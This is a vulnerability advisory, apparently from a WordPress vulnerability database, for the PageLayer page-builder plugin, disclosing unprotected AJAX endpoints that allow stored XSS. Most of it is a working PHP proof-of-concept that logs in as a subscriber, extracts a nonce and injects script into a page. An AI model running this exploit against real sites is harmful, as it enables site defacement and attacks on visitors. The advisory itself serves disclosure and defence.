Page Builder: PageLayer - Drag and Drop website builder < 1.1.2 - Unprotected AJAX's leading to XSS



Description
Nearly all of the AJAX action endpoints in this plugin failed to include permission checks allowing these actions to be executed by anyone authenticated on the site. The greatest impact was the pagelayer_save_content function that allowed pages to be modified and XSS to occur. 
Proof of Concept
<?php

// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// 1) Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Pull the Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

preg_match('/pagelayer_ajax_nonce\s=\s"([^"]+)"/', $content, $matches);
$nonce = $matches[1];

// Update post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php?&&action=pagelayer_save_content&postID=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'pagelayer_nonce' => $nonce,
    'pagelayer_update_content' => '[pl_row pagelayer-id="134fbz4exol4wayn"  0=""][pl_col pagelayer-id="karjlfl515egfjt9"  col="12"][pl_text pagelayer-id="4msjs8vug53um2f5"  0=""][/pl_text][/pl_col][/pl_row][pl_row pagelayer-id="GSTUg7ikEkpAC47q"  stretch="auto" col_gap="10" width_content="auto" row_height="default" overlay_hover_delay="400" row_shape_top_color="#227bc3" row_shape_top_width="100" row_shape_top_height="100" row_shape_bottom_color="#e44993" row_shape_bottom_width="100" row_shape_bottom_height="100"][pl_col pagelayer-id="IsIHSqYREncpXmhW"  overlay_hover_delay="400"][pl_btn pagelayer-id="hGPZxsDHkS2MVrW0"  text="&lt;script&gt;alert(1)&lt;/script&gt;" align="left" type="pagelayer-btn-default" size="pagelayer-btn-large" btn_hover_delay="400" icon_position="pagelayer-btn-icon-left" icon_spacing="5"][/pl_btn][/pl_col][/pl_row]'
]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

Affects Plugin

References

URL https://www.wordfence.com/blog/2020/05/high-severity-vulnerabilities-in-pagelayer-plugin-affect-over-200000-wordpress-sites/
Youtube Video

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Original Researcher Chloe Chamberland
Submitter Chloe Chamberland
Submitter Website https://wordfence.com
Submitter Twitter infosecchloe
Views 774
Verified No
WPVDB ID 10239

Timeline

Publicly Published 2020-05-28 (about 1 month ago)
Added 2020-05-28 (about 1 month ago)
Last Updated 2020-05-29 (about 1 month ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin